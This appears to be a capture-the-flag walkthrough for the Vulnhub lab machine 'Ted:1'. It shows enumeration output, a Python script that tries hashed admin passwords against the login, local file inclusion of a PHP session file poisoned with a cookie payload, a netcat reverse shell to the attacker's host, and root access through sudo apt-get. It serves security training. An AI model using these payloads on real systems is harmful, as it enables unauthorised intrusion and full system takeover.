Ted:1 is a vulnerable machine hosted on Vulnhub, designed to provide a practical experience in penetration testing. This walkthrough will guide you through each step to successfully compromise the target system and retrieve the necessary flags.
IP Address Discovery
We may use netdiscover to identify the IP address of the target machine after it is imported into VMWare.
─(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ sudo netdiscover -i eth1 -r 192.168.1.0/24
Currently scanning: 192.168.1.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 00:50:56:c0:00:01 1 60 VMware, Inc.
192.168.1.140 00:0c:29:16:65:d3 1 60 VMware, Inc.
192.168.1.254 00:50:56:ec:7d:a5 1 60 VMware, Inc.
The IP address of the target machine is 192.168.1.140.
NMAP Scanning
Then we can use NMAP to identify open ports and services running on the target machine:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ cat nmap_full_scan
# Nmap 7.93 scan initiated Wed Aug 27 03:38:00 2025 as: nmap -sS -sV -sC -p- -oN nmap_full_scan 192.168.1.140
Nmap scan report for 192.168.1.140
Host is up (0.0011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Login
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:16:65:D3 (VMware)
As you see, only one open port is detected which is running http service.
Enumeration
Manual walkthrough the site is always the first step, which turns out user login form:
Try to login with default credentials: admin:admin, without success. We also can take login byapss technqiue
admin' or 1=1 --
Again, nothing new is returned. robots.txt is not found on the site:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ curl http://192.168.1.140/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /robots.txt was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 192.168.1.140 Port 80</address>
</body></html>
──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ nikto -h http://192.168.1.140
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.140
+ Target Hostname: 192.168.1.140
+ Target Port: 80
+ Start Time: 2025-08-27 05:11:12 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2025-08-27 05:12:05 (GMT-4) (53 seconds)
Nikto fails to give us anything useful. Gobuster can identify some files, but they require authentication.
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ gobuster dir -u http://192.168.1.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.140
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: bak,php,html,txt
[+] Timeout: 10s
===============================================================
2025/08/27 05:13:14 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 292]
/.html (Status: 403) [Size: 293]
/index.php (Status: 200) [Size: 669]
/home.php (Status: 302) [Size: 0] [--> index.html]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/cookie.php (Status: 302) [Size: 0] [--> index.html]
/authenticate.php (Status: 302) [Size: 31] [--> index.php]
Up to now, we may believe the only vector lies in the user login process. Let's launch BurpSuite to analyze request and response more closely.
As seen in the above screenshot of Burpsuite, we can know the password maybe be hashed before submitting to the target machine. Let's use intruder module to crack the password if we assume username is admin.
We can see the response for the payload of admin will be different from all others. But based on our earlier manual testing, admin is not correct password. What is going here? The reason is we should hash it before submitting. But another question comes up? Which type of hash? MD5, SHA1, SHA 256...etc. We can use Python to automate this process to find correct hash type and password.
import requests
import hashlib
import sys
def login(password):
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
# 'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://192.168.1.140',
'Connection': 'keep-alive',
'Referer': 'http://192.168.1.140/index.php',
# 'Cookie': 'PHPSESSID=9e8vq3erhc38ueg4d4q9u26nh6',
'Upgrade-Insecure-Requests': '1',
}
data = {
'username': 'admin',
'password': password
}
response = requests.post('http://192.168.1.140/authenticate.php', headers=headers, data=data)
if 'Login' not in response.text:
print(f"Password found: {password}")
sys.exit()
def passwords_generator():
data = 'admin'.encode('utf-8')
md5_pass = hashlib.md5(data).hexdigest()
sha1_pass = hashlib.sha1(data).hexdigest()
sha256_pass = hashlib.sha256(data).hexdigest()
return md5_pass,md5_pass.upper(),sha1_pass,sha1_pass.upper(),sha256_pass,sha256_pass.upper()
def main():
for password in passwords_generator():
print(f"Try to login with password: {password}")
login(password)
main()
Run the python script to get correct password:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ python3 password_crack.py
Try to login with password: 21232f297a57a5a743894a0e4a801fc3
Try to login with password: 21232F297A57A5A743894A0E4A801FC3
Try to login with password: d033e22ae348aeb5660fc2140aec35850c4da997
Try to login with password: D033E22AE348AEB5660FC2140AEC35850C4DA997
Try to login with password: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Try to login with password: 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
Password found: 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
Naturally we should perform SQL injection testing after we get access to the application since the site is not offering too many functions. In order to perform such injection effectively, we can use BurpSuite to get the request:
We can save the request to file with any filename: req.txt. Then we can launch sqlmap to conduct automatic testing:
(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ sqlmap -r req.txt --level=
[05:40:08] [WARNING] parameter 'Referer' does not seem to be injectable
[05:40:08] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
3
However, it fails to get anything valuable. Next we turn to test local file inclusion by sending the above request to Repeater module. We will be playing around there.
Exploitation
So far we have detected local file inclusion vulerability in the application. We have to exploit it for our purpose. Try to access /var/log/auth.log, /var/apache2/access.log, /home/ted/.ssh/id_rsa, none of them can be retrieved. It is coming to the essential part of the machine. As a matter of fact, we may check whether we can access session file. We use google to make some research to know normal location for session file will be /var/lib/php/sessions. All right, we attempt to access the session file. Each session will be stored in a different file dientifies by session id. We can get session id from cookie.
/var/lib/php/sessions/sess_psljqbk13034pnh28cj8ib8un5
We successfully read content of session file. We can try to run command which can be put into the cookie. But such command should be url-encoded:
<?php system("ifconfig"); ?>
%3C%3Fphp%20system(%22ifconfig%22)%3B%20%3F%3E
The command "ifconfig" is not executed.
Then we try to run reverse shell command:
<?php system("nc -e /bin/bash 192.168.1.129 5555"); ?>
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Ted]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.1.129] from (UNKNOWN) [192.168.1.140] 56802
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$
We successfully get the initial foothold on the target
Privilege Escalation
www-data@ubuntu:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/apt-get
We find out we use apt-get to run as root to elevate privilege.
www-data@ubuntu:/var/www/html$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
<ml$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
#
Privilege escalation itself is very easy.
Comments
Leave a Comment
No comments yet. Be the first to comment!